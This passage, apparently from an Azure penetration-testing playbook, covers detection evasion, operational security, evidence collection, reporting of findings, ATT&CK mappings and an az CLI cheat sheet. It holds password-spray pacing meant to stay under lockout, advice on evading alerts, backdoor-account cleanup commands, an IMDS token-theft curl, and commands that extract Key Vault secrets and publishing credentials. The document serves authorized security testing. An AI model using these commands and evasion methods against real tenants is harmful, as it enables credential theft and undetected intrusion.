- Accessing IMDS from an unusual IP — flagged if anomaly detection is enabled

**Moderate-detection activities:**
- Role assignment enumeration — read-only but logged
- Storage account access — logged in Azure Monitor if diagnostic settings are configured
- App Service configuration reads — logged in Activity Log
- ROADrecon/AzureHound enumeration — generates many Graph API calls

**Lower-detection activities:**
- Decoding existing tokens (offline) — no server-side logging
- Reading already-possessed credentials — no Azure-side logging
- Reviewing resource configurations already in ARM output — minimal logging

### 7.2 Detection Evasion Techniques

```bash
# Use realistic user agent strings
# Many Azure CLI tools have identifiable user agents — use REST calls with browser UA

# Throttle enumeration
# Never flood the API — space requests by 2-5 seconds minimum
sleep 3 && az ad user list --top 10
sleep 3 && az ad user list --top 10 --skip-token "CONTINUATION_TOKEN"

# Limit spray rates
# Azure AD locks accounts after ~10 failed attempts in 30 minutes
# Safe rate: 1 attempt per user per 30-60 minutes

# Use legitimate-looking API access patterns
# Avoid enumerating everything in one session — spread over multiple days

# Prefer read-only operations first
# Limit write operations to what is strictly necessary for the objective

# Use existing tokens rather than repeatedly authenticating
# Refresh tokens are valid for 90 days by default — authenticate once
```

### 7.3 Log Sources Defenders Monitor

| Activity | Log Source | Alert Potential |
|---|---|---|
| Password spray | Azure AD Sign-in Logs | HIGH — Sentinel rule |
| New credential on SP | Azure AD Audit Logs | HIGH |
| Key Vault secret read | Key Vault diagnostics | MEDIUM |
| Role assignment change | Activity Log | HIGH |
| New app registration | Azure AD Audit Logs | MEDIUM |
| IMDS token request | Azure Monitor (if enabled) | LOW |
| Mass enumeration | Azure AD Sign-in Logs | MEDIUM |
| Anomalous location sign-in | Identity Protection | HIGH |

### 7.4 Operational Recommendations

```bash
# Always use attacker-controlled infrastructure (VPS in a neutral region)
# Do NOT use your personal or company Microsoft account for any operations

# Track all actions taken for deconfliction
# Log every az CLI command and API call with timestamps
script -f azure-ops-$(date +%Y%m%d-%H%M%S).log

# Use separate az profiles for each target
az configure --defaults location='' output=json
az account set --subscription "TARGET_SUBSCRIPTION_ID"

# Clean up artifacts (backdoor accounts, rogue apps) after engagement
az ad user delete --id "BACKDOOR_USER_OBJECT_ID"
az ad app delete --id "BACKDOOR_APP_OBJECT_ID"
az role assignment delete --assignee "OBJECT_ID" --role "Owner" \
  --scope "/subscriptions/SUBSCRIPTION_ID"
```

---

## 8. Output and Documentation Instructions

### 8.1 Evidence Collection

```bash
# Create organized evidence directory
mkdir -p ./evidence/{screenshots,tokens,secrets,enumeration,loot}

# Capture all terminal output to a log
script -f ./evidence/session-$(date +%Y%m%d-%H%M%S).log

# Save raw enumeration data
az resource list -o json > ./evidence/enumeration/all-resources.json
az ad user list -o json > ./evidence/enumeration/azure-ad-users.json
az ad sp list --all -o json > ./evidence/enumeration/service-principals.json
az keyvault list -o json > ./evidence/enumeration/key-vaults.json

# Screenshot the Azure portal showing the impact
# Use az CLI to generate proof-of-access artifacts
az account show -o json > ./evidence/proof-of-access.json
az ad signed-in-user show -o json >> ./evidence/proof-of-access.json
date >> ./evidence/proof-of-access.json

# Hash all evidence files
md5sum ./evidence/**/* > ./evidence/checksums.md5
sha256sum ./evidence/**/* > ./evidence/checksums.sha256
```

### 8.2 Required Documentation for Each Finding

For each vulnerability exploited, document:

1. **Finding Title** — e.g., "Azure Key Vault Accessible to Overly Privileged Service Principal"
2. **CVSS Score** — calculate with `rt-cvss-calculator`
3. **Evidence Files** — screenshots, JSON output, token excerpts (redacted after proof)
4. **Attack Chain** — step-by-step reproduction steps
5. **Impact Statement** — what data or systems were accessible
6. **Affected Resources** — subscription IDs, resource names, tenant ID
7. **MITRE ATT&CK Mapping** — use `rt-mitre-map` to assign technique IDs
8. **Remediation** — specific Azure-native fix (RBAC tightening, network restrictions, etc.)

### 8.3 MITRE ATT&CK for Azure (Common Mappings)

| Technique | MITRE ID | Azure Context |
|---|---|---|
| Valid Accounts: Cloud Accounts | T1078.004 | Compromised Azure AD user |
| Valid Accounts: Service Accounts | T1078.003 | Service Principal abuse |
| Phishing: Spearphishing Link | T1566.002 | Device code phishing |
| Cloud Infrastructure Discovery | T1580 | az resource list |
| Cloud Service Discovery | T1526 | Subscription/tenant enumeration |
| Steal Application Access Token | T1528 | IMDS token theft |
| Credentials from Password Stores | T1555 | Key Vault secret extraction |
| Unsecured Credentials: Cloud Instance Metadata API | T1552.005 | IMDS exploitation |
| Create Cloud Instance | T1578.002 | VM creation for persistence |
| Account Creation | T1136.003 | Backdoor user creation |
| Additional Cloud Credentials | T1098.001 | SP credential addition |

---

## 9. Resources and References

### Official Microsoft Documentation

- Azure Role-Based Access Control: https://docs.microsoft.com/en-us/azure/role-based-access-control/overview
- Azure AD Built-in Roles: https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference
- Microsoft Graph API Reference: https://docs.microsoft.com/en-us/graph/api/overview
- Azure Managed Identity: https://docs.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview

### Offensive Tools

- ROADtools (Azure AD enumeration): https://github.com/dirkjanm/ROADtools
- AzureHound (BloodHound for Azure): https://github.com/BloodHoundAD/AzureHound
- BloodHound Community Edition: https://github.com/SpecterOps/BloodHound
- PowerZure: https://github.com/hausec/PowerZure
- MicroBurst: https://github.com/NetSPI/MicroBurst
- TokenTactics: https://github.com/rvrsh3ll/TokenTactics
- Spray365: https://github.com/MarkoH17/Spray365
- MSOLSpray: https://github.com/dafthack/MSOLSpray
- AADInternals: https://github.com/Gerenios/AADInternals
- o365spray: https://github.com/0xZDH/o365spray
- GraphSpy: https://github.com/RedBirdCyber/GraphSpy
- Stormspotter: https://github.com/Azure/Stormspotter
- jwt_tool: https://github.com/ticarpi/jwt_tool

### Research and Write-Ups

- Dirk-jan Mollema's blog (Azure AD attacks): https://dirkjanm.io
- NetSPI Azure attack techniques: https://github.com/NetSPI/MicroBurst
- Azure AD Kill Chain by Joosua Santasalo: https://github.com/Cloud-Architekt/AzureAD-Attack-Defense
- Hacking the Cloud — Azure section: https://hackingthe.cloud/azure/general-concepts/
- SpecterOps Azure Attacks: https://posts.specterops.io/
- Hunting Azure Attacks: https://github.com/reprise99/Sentinel-Queries

### Threat Intelligence

- MITRE ATT&CK Cloud Matrix: https://attack.mitre.org/matrices/enterprise/cloud/
- MITRE ATT&CK Azure Techniques: https://attack.mitre.org/techniques/enterprise/ (filter: cloud)
- Microsoft Entra ID Attack and Defense Playbook: https://github.com/Cloud-Architekt/AzureAD-Attack-Defense

### Training and Labs

- CloudGoat (intentionally vulnerable cloud): https://github.com/RhinoSecurityLabs/cloudgoat
- flaws.cloud (Azure version): https://flaws2.cloud
- PwnedLabs (Azure scenarios): https://pwnedlabs.io
- SANS SEC588 — Cloud Penetration Testing

---

## Appendix: Quick Reference Cheat Sheet

```bash
# === AUTHENTICATION ===
az login                                          # Interactive browser
az login --use-device-code                        # Device code
az login --service-principal -u CLIENTID -p SECRET --tenant TENANTID
az account set --subscription SUBSCRIPTION_ID

# === IDENTITY ===
az account show                                   # Current context
az ad signed-in-user show                         # Current user info
az role assignment list --all -o table            # All role assignments

# === AZURE AD ENUMERATION ===
az ad user list -o table                          # All users
az ad group list -o table                         # All groups
az ad sp list --all -o table                      # All service principals

# === RESOURCE ENUMERATION ===
az group list -o table                            # Resource groups
az resource list -o table                         # All resources
az vm list -o table                               # Virtual machines
az storage account list -o table                  # Storage accounts
az keyvault list -o table                         # Key Vaults
az webapp list -o table                           # App Services
az functionapp list -o table                      # Azure Functions

# === STORAGE EXPLOITATION ===
az storage container list --account-name NAME --auth-mode login
az storage blob list --account-name NAME --container-name CONTAINER --auth-mode login
az storage blob download --account-name NAME --container-name CONTAINER --name FILE --file LOCAL

# === KEY VAULT ===
az keyvault secret list --vault-name VAULT -o table
az keyvault secret show --vault-name VAULT --name SECRET -q value -o tsv

# === IMDS TOKEN (from Azure compute) ===
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/"

# === APP SERVICE ENV VARS ===
az webapp config appsettings list --name APP --resource-group RG -o table
az webapp deployment list-publishing-credentials --name APP --resource-group RG

# === ROADRECON ===
roadrecon auth --username USER --password PASS
roadrecon gather
roadrecon gui                                     # http://localhost:5000

# === AZUREHOUND ===
./azurehound -u USER -p PASS list --tenant TENANTID -o output.json
```
